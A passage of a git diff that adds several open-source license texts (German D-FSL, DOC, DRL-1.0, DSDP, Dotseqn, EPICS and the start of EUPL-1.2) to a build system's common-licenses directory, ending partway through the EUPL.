+Vollständiger Source Code: Der Source Code in der für die Erstellung bzw. die Bearbeitung benutzten Form zusammen mit den zur Übersetzung und Installation erforderlichen Konfigurationsdateien und Software-Werkzeugen, sofern diese in der benötigten Form nicht allgemein gebräuchlich (z.B. Standard-Kompiler) oder für jedermann lizenzgebührenfrei im Internet abrufbar sind.
+
+§ 1 Rechte
+
+(1) Sie dürfen das Programm in unveränderter Form vervielfältigen, verbreiten und öffentlich zugänglich machen.
+
+(2) Sie dürfen das Programm verändern und entsprechend veränderte Versionen vervielfältigen, verbreiten und öffentlich zugänglich machen. Gestattet ist auch die Kombination des Programms oder Teilen hiervon mit anderen Programmen.
+
+(3) Sie erhalten die Rechte unentgeltlich.
+
+§ 2 Pflichten beim Vertrieb
+
+(1) Wenn Sie das Programm verbreiten oder öffentlich zugänglich machen, sei es in unveränderter oder veränderter Form, sei es in einer Kombination mit anderen Programmen oder in Verbindung mit Hardware, dann müssen sie mitliefern:
+1. alle Vermerke im Source Code und/oder Object Code, die auf diese Lizenz hinweisen;
+2. alle Vermerke im Source Code und/oder Object Code, die über die Urheber des Programms Auskunft geben;
+3. einen für den Empfänger deutlich wahrnehmbaren Hinweis auf diese Lizenz und die Internetadresse http://www.d-fsl.de;
+4. den vollständigen Text dieser Lizenz in deutlich wahrnehmbarer Weise.
+
+(2) Wenn bei der Installation des Programms und/oder beim Programmstart Lizenz- und/oder Vertragsbedingungen angezeigt werden, dann müssen
+1. diese Lizenz,
+2. ein Hinweis auf diese Lizenz und
+3. ein Hinweis auf den oder die Rechtsinhaber an den ersten unter dieser Lizenz nutzbaren Programmbestandteilen
+ebenfalls angezeigt werden.
+
+(3) Sie dürfen die Nutzung des Programms nicht von Pflichten oder Bedingungen abhängig machen, die nicht in dieser Lizenz vorgesehen sind.
+
+(4) Sofern Sie mit dem Programm eine Dokumentation erhalten haben, muss diese Dokumentation entsprechend mitgeliefert werden, es sei denn, die freie Mitlieferung der Dokumentation ist Ihnen aufgrund der Lizenz für die Dokumentation nicht gestattet.
+
+§ 3 Weitere Pflichten beim Vertrieb veränderter Versionen
+
+(1) Veränderte Versionen des Programms dürfen Sie nur unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zugänglich machen, so dass Dritte das veränderte Programm insgesamt unter dieser Lizenz nutzen können.
+
+(2) Wird das Programm oder ein Teil hiervon mit einem anderen Programm kombiniert, gilt auch die Kombination insgesamt als eine veränderte Version des Programms, es sei denn, das andere Programm ist formal und inhaltlich eigenständig. Ein anderes Programm ist dann als eigenständig anzusehen, wenn es die folgenden Voraussetzungen alle erfüllt:
+1. Der Source Code der kombinierten Programme muss jeweils in eigenen Dateien vorhanden sein, die keine Bestandteile des anderen Teils enthalten, die über die zur Programmkombination üblichen und erforderlichen Informationen über den anderen Teil hinausgehen, wobei der Source Code des anderen Programms nicht mitgeliefert werden muss.
+2. Der mit dem Programm kombinierte Teil muss auch dann sinnvoll nutzbar sein, wenn er nicht mit dem Programm kombiniert wird, und zwar entweder alleine oder mit sonstigen Programmen. Was als "sinnvoll nutzbar" anzusehen ist, richtet sich nach der Auffassung der betroffenen Fachkreise. Zu den betroffenen Fachkreisen gehören alle Personen, die das Programm oder Programme mit vergleichbarer Funktionalität entwickeln, benutzen, verbreiten oder öffentlich zugänglich machen.
+
+(3) Wenn Sie das Programm oder einen Teil hiervon - verändert oder unverändert - zusammen mit einem anderen Programm verbreiten oder öffentlich zugänglich machen, das unter der GNU General Public License (GPL) lizenziert wird, darf das Programm auch unter den Bedingungen der GPL genutzt werden, sofern es mit dem anderen Programm ein "derivative work" im Sinne der GPL bildet. Dabei sollen die Hinweise auf diese Lizenz entfernt und durch einen Hinweis auf die GPL ersetzt werden. Ob bei der Zusammenstellung ein "derivate work" im Sinne der GPL entsteht, beurteilt sich nach Ziffer 2 b) der GPL. Diese Bestimmung lautet: "You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License." Die GPL kann abgerufen werden unter http://www.fsf.org/licenses/gpl.
+
+(4) Wenn Sie das Programm in einer veränderten Form verbreiten oder öffentlich zugänglich machen, müssen Sie im Source Code einen Hinweis mit den Änderungen aufnehmen und mit dem Datum der Änderung versehen. Der Hinweis muss erkennen lassen, welche Änderungen vorgenommen wurden und bestehende Vermerke, die über die Urheber des Programms Auskunft geben, übernehmen. Dies gilt unabhängig davon, ob Sie einen eigenen Urhebervermerk hinzufügen. Anstelle eines Hinweises im Source Code können Sie auch ein Versionskontrollsystem verwenden oder weiterführen, sofern dieses mitverbreitet wird oder öffentlich zugänglich ist.
+
+(5) Sie dürfen von Dritten für die Einräumung eines einfachen Nutzungsrechts an veränderten Versionen des Programms kein Entgelt verlangen.
+
+(6) Wenn Sie an der veränderten Version des Programms ein anderes Schutzrecht als ein Urheberrecht erwerben, insbesondere ein Patent oder Gebrauchsmuster, lizenzieren Sie dieses Schutzrecht für veränderte und unveränderte Versionen des Programms in dem Umfang, der erforderlich ist, um die Rechte aus dieser Lizenz wahrnehmen zu können.
+
+§ 4 Weitere Pflichten beim Vertrieb im Object Code
+
+(1) Wenn Sie das Programm nur im Object Code verbreiten, dann müssen Sie zusätzlich zu den in § 2 und § 3 geregelten Pflichten entweder
+1. den vollständigen Source Code im Internet öffentlich zugänglich machen und bei der Verbreitung des Object Codes deutlich auf die vollständige Internetadresse hinweisen, unter der der Source Code abgerufen werden kann oder
+2. den vollständigen Source Code auf einem hierfür üblichen Datenträger unter Beachtung der §§ 2 und 3 mitverbreiten.
+
+(2) Wenn Sie das Programm im Object Code öffentlich zugänglich machen, dann müssen Sie zusätzlich zu den in § 2 und § 3 geregelten Pflichten den vollständigen Source Code im Internet öffentlich zugänglich machen und dabei deutlich auf die vollständige Internetadresse hinweisen.
+
+(3) Sofern Sie mit dem Programm eine Dokumentation erhalten haben, muss diese Dokumentation entsprechend der Absätze 1 und 2 mitgeliefert werden, es sei denn, die freie Mitlieferung der Dokumentation ist Ihnen aufgrund der Lizenz für die Dokumentation nicht gestattet.
+
+§ 5 Vertragsschluss
+
+(1) Mit dieser Lizenz wird Ihnen und jeder anderen Person ein Angebot auf Abschluss eines Vertrages über die Nutzung des Programms unter den Bedingungen der Deutschen Freien Softwarelizenz unterbreitet.
+
+(2) Sie dürfen das Programm nach den jeweils anwendbaren gesetzlichen Vorschriften bestimmungsgemäß benutzen, ohne dass es der Annahme dieser Lizenz bedarf. Dieses Recht umfasst in der Europäischen Union und in den meisten anderen Rechtsordnungen insbesondere die folgenden Befugnisse:
+1. das Programm ablaufen zu lassen sowie die Erstellung von hierfür erforderlichen Vervielfältigungen im Haupt- und Arbeitsspeicher;
+2. das Erstellen einer Sicherungskopie;
+3. die Fehlerberichtigung;
+4. die Weitergabe einer rechtmäßig erworbenen körperlichen Kopie des Programms.
+
+(3) Sie erklären Ihre Zustimmung zum Abschluss dieser Lizenz, indem Sie das Programm verbreiten, öffentlich zugänglich machen, verändern oder in einer Weise vervielfältigen, die über die bestimmungsgemäße Nutzung im Sinne von Absatz 2 hinausgeht. Ab diesem Zeitpunkt ist diese Lizenz als rechtlich verbindlicher Vertrag zwischen den Rechtsinhabern und Ihnen geschlossen, ohne dass es eines Zugangs der Annahmeerklärung bei den Rechtsinhabern bedarf.
+
+(4) Sie und jeder andere Lizenznehmer erhalten die Rechte aus dieser Lizenz direkt von den Rechtsinhabern. Eine Unterlizenzierung oder Übertragung der Rechte ist nicht gestattet.
+
+§ 6 Beendigung der Rechte bei Zuwiderhandlung
+
+(1) Jede Verletzung Ihrer Verpflichtungen aus dieser Lizenz führt zu einer automatischen Beendigung Ihrer Rechte aus dieser Lizenz.
+
+(2) Die Rechte Dritter, die das Programm oder Rechte an dem Programm von Ihnen erhalten haben, bleiben hiervon unberührt.
+
+§ 7 Haftung und Gewährleistung
+
+(1) Für entgegenstehende Rechte Dritter haften die Rechtsinhaber nur, sofern sie Kenntnis von diesen Rechten hatten, ohne Sie zu informieren.
+
+(2) Die Haftung für Fehler und sonstige Mängel des Programms richtet sich nach den außerhalb dieser Lizenz getroffenen Vereinbarungen zwischen Ihnen und den Rechtsinhabern oder, wenn eine solche Vereinbarung nicht existiert, nach den gesetzlichen Regelungen.
+
+§ 8 Verträge mit Dritten
+
+(1) Diese Lizenz regelt nur die Beziehung zwischen Ihnen und den Rechtsinhabern. Sie ist nicht Bestandteil der Verträge zwischen Ihnen und Dritten.
+
+(2) Die Lizenz beschränkt Sie nicht in der Freiheit, mit Dritten, die von Ihnen Kopien des Programms erhalten oder Leistungen in Anspruch nehmen, die im Zusammenhang mit dem Programm stehen, Verträge beliebigen Inhalts zu schließen, sofern Sie dabei Ihren Verpflichtungen aus dieser Lizenz nachkommen und die Rechte der Dritten aus dieser Lizenz nicht beeinträchtigt werden. Insbesondere dürfen Sie für die Überlassung des Programms oder sonstige Leistungen ein Entgelt verlangen.
+
+(3) Diese Lizenz verpflichtet Sie nicht, das Programm an Dritte weiterzugeben. Es steht Ihnen frei zu entscheiden, wem Sie das Programm zugänglich machen. Sie dürfen aber die weitere Nutzung durch Dritte nicht durch den Einsatz technischer Schutzmaßnahmen, insbesondere durch den Einsatz von Kopierschutzvorrichtungen jeglicher Art, verhindern oder erschweren. Eine passwortgeschützte Zugangsbeschränkung oder die Nutzung in einem Intranet wird nicht als technische Schutzmaßnahme angesehen.
+
+§ 9 Text der Lizenz
+
+(1) Diese Lizenz ist in deutscher und englischer Sprache abgefasst. Beide Fassungen sind gleich verbindlich. Es wird unterstellt, dass die in der Lizenz verwandten Begriffe in beiden Fassungen dieselbe Bedeutung haben. Ergeben sich dennoch Unterschiede, so ist die Bedeutung maßgeblich, welche die Fassungen unter Berücksichtigung des Ziels und Zwecks der Lizenz am besten miteinander in Einklang bringt.
+
+(2) Der Lizenzrat der Deutschen Freien Software Lizenz kann mit verbindlicher Wirkung neue Versionen der Lizenz in Kraft setzen, soweit dies erforderlich und zumutbar ist. Neue Versionen der Lizenz werden auf der Internetseite http://www.d-fsl.de mit einer eindeutigen Versionsnummer veröffentlicht. Die neue Version der Lizenz erlangt für Sie verbindliche Wirkung, wenn Sie von deren Veröffentlichung Kenntnis genommen haben. Gesetzliche Rechtsbehelfe gegen die Änderung der Lizenz werden durch die vorstehenden Bestimmungen nicht beschränkt.
+
+(3) Sie dürfen diese Lizenz in unveränderter Form vervielfältigen, verbreiten und öffentlich zugänglich machen.
+
+§ 10 Anwendbares Recht
+
+Auf diese Lizenz findet deutsches Recht Anwendung.
+
+
+Anhang: Wie unterstellen Sie ein Programm der Deutschen Freien Software Lizenz?
+Um jedermann den Abschluss dieser Lizenz zu ermöglichen, wird empfohlen, das Programm mit folgendem Hinweis auf die Lizenz zu versehen:
+
+"Copyright (C) 20[jj] [Name des Rechtsinhabers].
+
+Dieses Programm kann durch jedermann gemäß den Bestimmungen der Deutschen Freien Software Lizenz genutzt werden.
+
+Die Lizenz kann unter http://www.d-fsl.de abgerufen werden."
diff --git a/meta/files/common-licenses/DOC b/meta/files/common-licenses/DOC
new file mode 100644
index 0000000000..07a684f0d0
--- /dev/null
+++ b/meta/files/common-licenses/DOC
@@ -0,0 +1,15 @@
+Copyright and Licensing Information for ACE(TM), TAO(TM), CIAO(TM), DAnCE(TM), and CoSMIC(TM)
+
+ACE(TM), TAO(TM), CIAO(TM), DAnCE>(TM), and CoSMIC(TM) (henceforth referred to as "DOC software") are copyrighted by Douglas C. Schmidt and his research group at Washington University, University of California, Irvine, and Vanderbilt University, Copyright (c) 1993-2009, all rights reserved. Since DOC software is open-source, freely available software, you are free to use, modify, copy, and distribute--perpetually and irrevocably--the DOC software source code and object code produced from the source, as well as copy and distribute modified versions of this software. You must, however, include this copyright statement along with any code built using DOC software that you release. No copyright statement needs to be provided if you just ship binary executables of your software products.
+
+You can use DOC software in commercial and/or binary software releases and are under no obligation to redistribute any of your source code that is built using DOC software. Note, however, that you may not misappropriate the DOC software code, such as copyrighting it yourself or claiming authorship of the DOC software code, in a way that will prevent DOC software from being distributed freely using an open-source development model. You needn't inform anyone that you're using DOC software in your software, though we encourage you to let us know so we can promote your project in the DOC software success stories.
+
+The ACE, TAO, CIAO, DAnCE, and CoSMIC web sites are maintained by the DOC Group at the Institute for Software Integrated Systems (ISIS) and the Center for Distributed Object Computing of Washington University, St. Louis for the development of open-source software as part of the open-source software community. Submissions are provided by the submitter ``as is'' with no warranties whatsoever, including any warranty of merchantability, noninfringement of third party intellectual property, or fitness for any particular purpose. In no event shall the submitter be liable for any direct, indirect, special, exemplary, punitive, or consequential damages, including without limitation, lost profits, even if advised of the possibility of such damages. Likewise, DOC software is provided as is with no warranties of any kind, including the warranties of design, merchantability, and fitness for a particular purpose, noninfringement, or arising from a course of dealing, usage or trade practice. Washington University, UC Irvine, Vanderbilt University, their employees, and students shall have no liability with respect to the infringement of copyrights, trade secrets or any patents by DOC software or any part thereof. Moreover, in no event will Washington University, UC Irvine, or Vanderbilt University, their employees, or students be liable for any lost revenue or profits or other special, indirect and consequential damages.
+
+DOC software is provided with no support and without any obligation on the part of Washington University, UC Irvine, Vanderbilt University, their employees, or students to assist in its use, correction, modification, or enhancement. A number of companies around the world provide commercial support for DOC software, however. DOC software is Y2K-compliant, as long as the underlying OS platform is Y2K-compliant. Likewise, DOC software is compliant with the new US daylight savings rule passed by Congress as "The Energy Policy Act of 2005," which established new daylight savings times (DST) rules for the United States that expand DST as of March 2007. Since DOC software obtains time/date and calendaring information from operating systems users will not be affected by the new DST rules as long as they upgrade their operating systems accordingly.
+
+The names ACE(TM), TAO(TM), CIAO(TM), DAnCE(TM), CoSMIC(TM), Washington University, UC Irvine, and Vanderbilt University, may not be used to endorse or promote products or services derived from this source without express written permission from Washington University, UC Irvine, or Vanderbilt University. This license grants no permission to call products or services derived from this source ACE(TM), TAO(TM), CIAO(TM), DAnCE(TM), or CoSMIC(TM), nor does it grant permission for the name Washington University, UC Irvine, or Vanderbilt University to appear in their names.
+
+If you have any suggestions, additions, comments, or questions, please let me know.
+
+Douglas C. Schmidt
diff --git a/meta/files/common-licenses/DRL-1.0 b/meta/files/common-licenses/DRL-1.0
new file mode 100644
index 0000000000..8bcb7148c9
--- /dev/null
+++ b/meta/files/common-licenses/DRL-1.0
@@ -0,0 +1,12 @@
+Detection Rule License (DRL) 1.0
+Permission is hereby granted, free of charge, to any person obtaining a copy of this rule set and associated documentation files (the "Rules"), to deal in the Rules without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Rules, and to permit persons to whom the Rules are furnished to do so, subject to the following conditions:
+
+If you share the Rules (including in modified form), you must retain the following if it is supplied within the Rules:
+
+identification of the authors(s) ("author" field) of the Rule and any others designated to receive attribution, in any reasonable manner requested by the Rule author (including by pseudonym if designated).
+
+a URI or hyperlink to the Rule set or explicit Rule to the extent reasonably practicable
+
+indicate the Rules are licensed under this Detection Rule License, and include the text of, or the URI or hyperlink to, this Detection Rule License to the extent reasonably practicable
+
+THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE RULES.
diff --git a/meta/files/common-licenses/DSDP b/meta/files/common-licenses/DSDP
new file mode 100644
index 0000000000..1c4d42f4b2
--- /dev/null
+++ b/meta/files/common-licenses/DSDP
@@ -0,0 +1,18 @@
+COPYRIGHT NOTIFICATION
+
+(C) COPYRIGHT 2004 UNIVERSITY OF CHICAGO
+
+This program discloses material protectable under copyright laws of the United States. Permission to copy and modify this software and its documentation is hereby granted, provided that this notice is retained thereon and on all copies or modifications. The University of Chicago makes no representations as to the suitability and operability of this software for any purpose. It is provided "as is"; without express or implied warranty. Permission is hereby granted to use, reproduce, prepare derivative works, and to redistribute to others, so long as this original copyright notice is retained. Any publication resulting from research that made use of this software should cite this document.
+
+ This software was authored by:
+
+ Steven J. Benson Mathematics and Computer Science Division Argonne National Laboratory Argonne IL 60439
+
+ Yinyu Ye Department of Management Science and Engineering Stanford University Stanford, CA U.S.A
+
+ Any questions or comments on the software may be directed to benson@mcs.anl.gov or yinyu-ye@stanford.edu
+
+Argonne National Laboratory with facilities in the states of Illinois and Idaho, is owned by The United States Government, and operated by the University of Chicago under provision of a contract with the Department of Energy.
+
+DISCLAIMER
+THIS PROGRAM WAS PREPARED AS AN ACCOUNT OF WORK SPONSORED BY AN AGENCY OF THE UNITED STATES GOVERNMENT. NEITHER THE UNITED STATES GOVERNMENT NOR ANY AGENCY THEREOF, NOR THE UNIVERSITY OF CHICAGO, NOR ANY OF THEIR EMPLOYEES OR OFFICERS, MAKES ANY WARRANTY, EXPRESS OR IMPLIED, OR ASSUMES ANY LEGAL LIABILITY OR RESPONSIBILITY FOR THE ACCURACY, COMPLETENESS, OR USEFULNESS OF ANY INFORMATION, APPARATUS, PRODUCT, OR PROCESS DISCLOSED, OR REPRESENTS THAT ITS USE WOULD NOT INFRINGE PRIVATELY OWNED RIGHTS. REFERENCE HEREIN TO ANY SPECIFIC COMMERCIAL PRODUCT, PROCESS, OR SERVICE BY TRADE NAME, TRADEMARK, MANUFACTURER, OR OTHERWISE, DOES NOT NECESSARILY CONSTITUTE OR IMPLY ITS ENDORSEMENT, RECOMMENDATION, OR FAVORING BY THE UNITED STATES GOVERNMENT OR ANY AGENCY THEREOF. THE VIEW AND OPINIONS OF AUTHORS EXPRESSED HEREIN DO NOT NECESSARILY STATE OR REFLECT THOSE OF THE UNITED STATES GOVERNMENT OR ANY AGENCY THEREOF.
diff --git a/meta/files/common-licenses/Dotseqn b/meta/files/common-licenses/Dotseqn
new file mode 100644
index 0000000000..9833407c06
--- /dev/null
+++ b/meta/files/common-licenses/Dotseqn
@@ -0,0 +1,5 @@
+Copyright (C) 1995 by Donald Arseneau
+
+This file may be freely transmitted and reproduced, but it may not be changed unless the name is changed also (except that you may freely change the paper-size option for \documentclass).
+
+This notice must be left intact.
diff --git a/meta/files/common-licenses/EPICS b/meta/files/common-licenses/EPICS
new file mode 100644
index 0000000000..f2f6b0e7af
--- /dev/null
+++ b/meta/files/common-licenses/EPICS
@@ -0,0 +1,32 @@
+EPICS Open License Terms
+
+The following is the text of the EPICS Open software license agreement which now applies to EPICS Base and many of the unbundled EPICS extensions and support modules.
+
+Copyright © <YEAR> <HOLDERS>. All rights reserved.
+
+<PRODUCT> is distributed subject to the following license conditions:
+
+SOFTWARE LICENSE AGREEMENT
+
+Software: <PRODUCT>
+
+1. The "Software", below, refers to <PRODUCT> (in either source code, or binary form and accompanying documentation). Each licensee is addressed as "you" or "Licensee."
+
+2. The copyright holders shown above and their third-party licensors hereby grant Licensee a royalty-free nonexclusive license, subject to the limitations stated herein and U.S. Government license rights.
+
+3. You may modify and make a copy or copies of the Software for use within your organization, if you meet the following conditions:
+
+a. Copies in source code must include the copyright notice and this Software License Agreement.
+b. Copies in binary form must include the copyright notice and this Software License Agreement in the documentation and/or other materials provided with the copy.
+
+4. You may modify a copy or copies of the Software or any portion of it, thus forming a work based on the Software, and distribute copies of such work outside your organization, if you meet all of the following conditions:
+
+a. Copies in source code must include the copyright notice and this Software License Agreement;
+b. Copies in binary form must include the copyright notice and this Software License Agreement in the documentation and/or other materials provided with the copy;
+c. Modified copies and works based on the Software must carry prominent notices stating that you changed specified portions of the Software.
+
+5. Portions of the Software resulted from work developed under a U.S. Government contract and are subject to the following license: the Government is granted for itself and others acting on its behalf a paid-up, nonexclusive, irrevocable worldwide license in this computer software to reproduce, prepare derivative works, and perform publicly and display publicly.
+
+6. WARRANTY DISCLAIMER. THE SOFTWARE IS SUPPLIED "AS IS" WITHOUT WARRANTY OF ANY KIND. THE COPYRIGHT HOLDERS, THEIR THIRD PARTY LICENSORS, THE UNITED STATES, THE UNITED STATES DEPARTMENT OF ENERGY, AND THEIR EMPLOYEES: (1) DISCLAIM ANY WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE OR NON-INFRINGEMENT, (2) DO NOT ASSUME ANY LEGAL LIABILITY OR RESPONSIBILITY FOR THE ACCURACY, COMPLETENESS, OR USEFULNESS OF THE SOFTWARE, (3) DO NOT REPTHAT USE OF THE SOFTWARE WOULD NOT INFRINGE PRIVATELY OWNED RIGHTS, (4) DO NOT WARRANT THAT THE SOFTWARE WILL FUNCTION UNINTERRUPTED, THAT IT IS ERROR-FREE OR THAT ANY ERRORS WILL BE CORRECTED.
+
+7. LIMITATION OF LIABILITY. IN NO EVENT WILL THE COPYRIGHT HOLDERS, THEIR THIRD PARTY LICENSORS, THE UNITED STATES, THE UNITED STATES DEPARTMENT OF ENERGY, OR THEIR EMPLOYEES: BE LIABLE FOR ANY INDIRECT, INCIDENTAL, CONSEQUENTIAL, SPECIAL OR PUNITIVE DAMAGES OF ANY KIND OR NATURE, INCLUDING BUT NOT LIMITED TO LOSS OF PROFITS OR LOSS OF DATA, FOR ANY REASON WHATSOEVER, WHETHER SUCH LIABILITY IS ASSERTED ON THE BASIS OF CONTRACT, TORT (INCLUDING NEGLIGENCE OR STRICT LIABILITY), OR OTHERWISE, EVEN IF ANY OF SAID PARTIES HAS BEEN WARNED OF THE POSSIBILITY OF SUCH LOSS OR DAMAGES.
diff --git a/meta/files/common-licenses/EUPL-1.2 b/meta/files/common-licenses/EUPL-1.2
new file mode 100644
index 0000000000..6d8cea430e
--- /dev/null
+++ b/meta/files/common-licenses/EUPL-1.2
@@ -0,0 +1,190 @@
+EUROPEAN UNION PUBLIC LICENCE v. 1.2
+EUPL © the European Union 2007, 2016
+
+This European Union Public Licence (the ‘EUPL’) applies to the Work (as defined below) which is provided under the
+terms of this Licence. Any use of the Work, other than as authorised under this Licence is prohibited (to the extent such
+use is covered by a right of the copyright holder of the Work).
+The Work is provided under the terms of this Licence when the Licensor (as defined below) has placed the following
+notice immediately following the copyright notice for the Work:
+ Licensed under the EUPL
+or has expressed by any other means his willingness to license under the EUPL.
+
+1.Definitions
+In this Licence, the following terms have the following meaning:
+— ‘The Licence’:this Licence.
+— ‘The Original Work’:the work or software distributed or communicated by the Licensor under this Licence, available
+as Source Code and also as Executable Code as the case may be.
+— ‘Derivative Works’:the works or software that could be created by the Licensee, based upon the Original Work or
+modifications thereof. This Licence does not define the extent of modification or dependence on the Original Work
+required in order to classify a work as a Derivative Work; this extent is determined by copyright law applicable in
+the country mentioned in Article 15.
+— ‘The Work’:the Original Work or its Derivative Works.
+— ‘The Source Code’:the human-readable form of the Work which is the most convenient for people to study and
+modify.
+— ‘The Executable Code’:any code which has generally been compiled and which is meant to be interpreted by
+a computer as a program.
+— ‘The Licensor’:the natural or legal person that distributes or communicates the Work under the Licence.
+— ‘Contributor(s)’:any natural or legal person who modifies the Work under the Licence, or otherwise contributes to
+the creation of a Derivative Work.
+— ‘The Licensee’ or ‘You’:any natural or legal person who makes any usage of the Work under the terms of the
+Licence.
+— ‘Distribution’ or ‘Communication’:any act of selling, giving, lending, renting, distributing, communicating,
+transmitting, or otherwise making available, online or offline, copies of the Work or providing access to its essential
+functionalities at the disposal of any other natural or legal person.
+
+2.Scope of the rights granted by the Licence
+The Licensor hereby grants You a worldwide, royalty-free, non-exclusive, sublicensable licence to do the following, for
+the duration of copyright vested in the Original Work:
+— use the Work in any circumstance and for all usage,
+— reproduce the Work,
+— modify the Work, and make Derivative Works based upon the Work,
+— communicate to the public, including the right to make available or display the Work or copies thereof to the public
+and perform publicly, as the case may be, the Work,
+— distribute the Work or copies thereof,
+— lend and rent the Work or copies thereof,
+— sublicense rights in the Work or copies thereof.
+Those rights can be exercised on any media, supports and formats, whether now known or later invented, as far as the
+applicable law permits so.
+In the countries where moral rights apply, the Licensor waives his right to exercise his moral right to the extent allowed
+by law in order to make effective the licence of the economic rights here above listed.
+The Licensor grants to the Licensee royalty-free, non-exclusive usage rights to any patents held by the Licensor, to the
+extent necessary to make use of the rights granted on the Work under this Licence.
+
+3.Communication of the Source Code
+The Licensor may provide the Work either in its Source Code form, or as Executable Code. If the Work is provided as
+Executable Code, the Licensor provides in addition a machine-readable copy of the Source Code of the Work along with
+each copy of the Work that the Licensor distributes or indicates, in a notice following the copyright notice attached to
+the Work, a repository where the Source Code is easily and freely accessible for as long as the Licensor continues to
+distribute or communicate the Work.
+
+4.Limitations on copyright
+Nothing in this Licence is intended to deprive the Licensee of the benefits from any exception or limitation to the
+exclusive rights of the rights owners in the Work, of the exhaustion of those rights or of other applicable limitations
+thereto.
+
+5.Obligations of the Licensee
+The grant of the rights mentioned above is subject to some restrictions and obligations imposed on the Licensee. Those
+obligations are the following:
+
+Attribution right: The Licensee shall keep intact all copyright, patent or trademarks notices and all notices that refer to
+the Licence and to the disclaimer of warranties. The Licensee must include a copy of such notices and a copy of the
+Licence with every copy of the Work he/she distributes or communicates. The Licensee must cause any Derivative Work
+to carry prominent notices stating that the Work has been modified and the date of modification.
+
+Copyleft clause: If the Licensee distributes or communicates copies of the Original Works or Derivative Works, this
+Distribution or Communication will be done under the terms of this Licence or of a later version of this Licence unless
+the Original Work is expressly distributed only under this version of the Licence — for example by communicating
+‘EUPL v. 1.2 only’. The Licensee (becoming Licensor) cannot offer or impose any additional terms or conditions on the
+Work or Derivative Work that alter or restrict the terms of the Licence.
+
+Compatibility clause: If the Licensee Distributes or Communicates Derivative Works or copies thereof based upon both
+the Work and another work licensed under a Compatible Licence, this Distribution or Communication can be done
+under the terms of this Compatible Licence. For the sake of this clause, ‘Compatible Licence’ refers to the licences listed
+in the appendix attached to this Licence. Should the Licensee's obligations under the Compatible Licence conflict with
+his/her obligations under this Licence, the obligations of the Compatible Licence shall prevail.
+
+Provision of Source Code: When distributing or communicating copies of the Work, the Licensee will provide
+a machine-readable copy of the Source Code or indicate a repository where this Source will be easily and freely available
+for as long as the Licensee continues to distribute or communicate the Work.
+Legal Protection: This Licence does not grant permission to use the trade names, trademarks, service marks, or names
+of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and
+reproducing the content of the copyright notice.
+
+6.Chain of Authorship
+The original Licensor warrants that the copyright in the Original Work granted hereunder is owned by him/her or
+licensed to him/her and that he/she has the power and authority to grant the Licence.
+Each Contributor warrants that the copyright in the modifications he/she brings to the Work are owned by him/her or
+licensed to him/her and that he/she has the power and authority to grant the Licence.
+Each time You accept the Licence, the original Licensor and subsequent Contributors grant You a licence to their contributions
+to the Work, under the terms of this Licence.
+
+7.Disclaimer of Warranty
+The Work is a work in progress, which is continuously improved by numerous Contributors. It is not a finished work
+and may therefore contain defects or ‘bugs’ inherent to this type of development.
+For the above reason, the Work is provided under the Licence on an ‘as is’ basis and without warranties of any kind
+concerning the Work, including without limitation merchantability, fitness for a particular purpose, absence of defects or
+errors, accuracy, non-infringement of intellectual property rights other than copyright as stated in Article 6 of this
+Licence.
+This disclaimer of warranty is an essential part of the Licence and a condition for the grant of any rights to the Work.
+
+8.Disclaimer of Liability
+Except in the cases of wilful misconduct or damages directly caused to natural persons, the Licensor will in no event be
+liable for any direct or indirect, material or moral, damages of any kind, arising out of the Licence or of the use of the
+Work, including without limitation, damages for loss of goodwill, work stoppage, computer failure or malfunction, loss
+of data or any commercial damage, even if the Licensor has been advised of the possibility of such damage. However,
+the Licensor will be liable under statutory product liability laws as far such laws apply to the Work.
+
+9.Additional agreements
+While distributing the Work, You may choose to conclude an additional agreement, defining obligations or services
+consistent with this Licence. However, if accepting obligations, You may act only on your own behalf and on your sole
+responsibility, not on behalf of the original Licensor or any other Contributor, and only if You agree to indemnify,
+defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against such Contributor by
+the fact You have accepted any warranty or additional liability.
+
+10.Acceptance of the Licence
+The provisions of this Licence can be accepted by clicking on an icon ‘I agree’ placed under the bottom of a window
+displaying the text of this Licence or by affirming consent in any other similar way, in accordance with the rules of
+applicable law. Clicking on that icon indicates your clear and irrevocable acceptance of this Licence and all of its terms
+and conditions.
+Similarly, you irrevocably accept this Licence and all of its terms and conditions by exercising any rights granted to You
+by Article 2 of this Licence, such as the use of the Work, the creation by You of a Derivative Work or the Distribution
+or Communication by You of the Work or copies thereof.
+
+11.Information to the public
+In case of any Distribution or Communication of the Work by means of electronic communication by You (for example,
+by offering to download the Work from a remote location) the distribution channel or media (for example, a website)
+must at least provide to the public the information requested by the applicable law regarding the Licensor, the Licence
+and the way it may be accessible, concluded, stored and reproduced by the Licensee.
+
+12.Termination of the Licence
+The Licence and the rights granted hereunder will terminate automatically upon any breach by the Licensee of the terms
+of the Licence.
+Such a termination will not terminate the licences of any person who has received the Work from the Licensee under
+the Licence, provided such persons remain in full compliance with the Licence.
+
+13.Miscellaneous
+Without prejudice of Article 9 above, the Licence represents the complete agreement between the Parties as to the
+Work.
+If any provision of the Licence is invalid or unenforceable under applicable law, this will not affect the validity or
+enforceability of the Licence as a whole. Such provision will be construed or reformed so as necessary to make it valid
+and enforceable.
+The European Commission may publish other linguistic versions or new versions of this Licence or updated versions of
+the Appendix, so far this is required and reasonable, without reducing the scope of the rights granted by the Licence.
+New versions of the Licence will be published with a unique version number.
+All linguistic versions of this Licence, approved by the European Commission, have identical value. Parties can take
+advantage of the linguistic version of their choice.
+
+14.Jurisdiction
+Without prejudice to specific agreement between parties,
